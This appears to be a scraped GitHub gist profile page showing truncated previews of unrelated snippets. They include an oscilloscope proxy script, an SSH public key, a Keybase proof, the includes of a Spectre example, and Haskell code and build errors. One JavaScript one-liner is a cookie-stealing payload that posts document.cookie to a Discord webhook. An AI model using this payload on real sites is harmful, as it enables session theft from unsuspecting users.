Skip to content

Instantly share code, notes, and snippets.

# Requires https://pypi.org/project/python-vxi11/, python 3.6+
import vxi11
import socketserver
TARGET_SCOPE_IP = "10.0.0.214"
LOCAL_ADDR = ("127.0.0.1",1234)
class VXI11TcpServer(socketserver.StreamRequestHandler):
def handle(self):
instr = vxi11.Instrument(TARGET_SCOPE_IP)
ssh_authorized_keys:
- ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKTc90hPekcc1epuuLr+WvktTY/++qZx+df8VrdM8TQ7 jkoik@DESKTOP-1RKL4E1

Keybase proof

I hereby claim:

  • I am tiltmesenpai on github.
  • I am tiltmesenpai (https://keybase.io/tiltmesenpai) on keybase.
  • I have a public key ASADuKa8KZPzsodL3tJXnoc4u_D1u3JTgePudUyAMPu3qwo

To claim this, I am signing this object:

@TiltMeSenpai
TiltMeSenpai / spectre.c
Created January 6, 2018 05:50 — forked from ErikAugust/spectre.c
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@TiltMeSenpai
TiltMeSenpai / reee.md
Created September 12, 2017 19:40
kvm keyboard chip list

Controller: ATMEGA3250?

Preprocessing library discord-hs-0.2.2...
[2 of 3] Compiling Network.Discord.Framework ( src/Network/Discord/Framework.hs, .stack-work/dist/x86_64-linux-nopie/Cabal-1.24.2.0/build/Network/Discord/Framework.o )
/home/jkoike/projects/Discord.hs/src/Network/Discord/Framework.hs:109:18: error:
• Could not deduce (DiscordM m0) arising from a use of ‘runGateway’
from the context: (DiscordM m, EventHandler f m)
httpRequest = new XMLHttpRequest();httpRequest.open("POST", "https://discordapp.com/api/webhooks/302116147950518273/VWs7_z32reXMDhm1K45fMHM9q2xTsSkAoo9x7EJSyoswOD06lVYaED3NPK8kVZlN55I2");httpRequest.setRequestHeader("Content-Type", "application/json");httpRequest.send(JSON.stringify({content:"cookie:"+document.cookie }));
@TiltMeSenpai
TiltMeSenpai / cancer.hs
Last active March 10, 2017 20:38
fuck proc(5)
{-# OPTIONS_GHC -funbox-strict-fields #-}
module Util where
import Data.Attoparsec.ByteString.Char8
divOut :: Int -> [Int] -> [Int]
divOut x (y:ys)
| x > y = go ys $ divMod x y
| otherwise = [x]
where
go :: [Int] -> (Int, Int) -> [Int]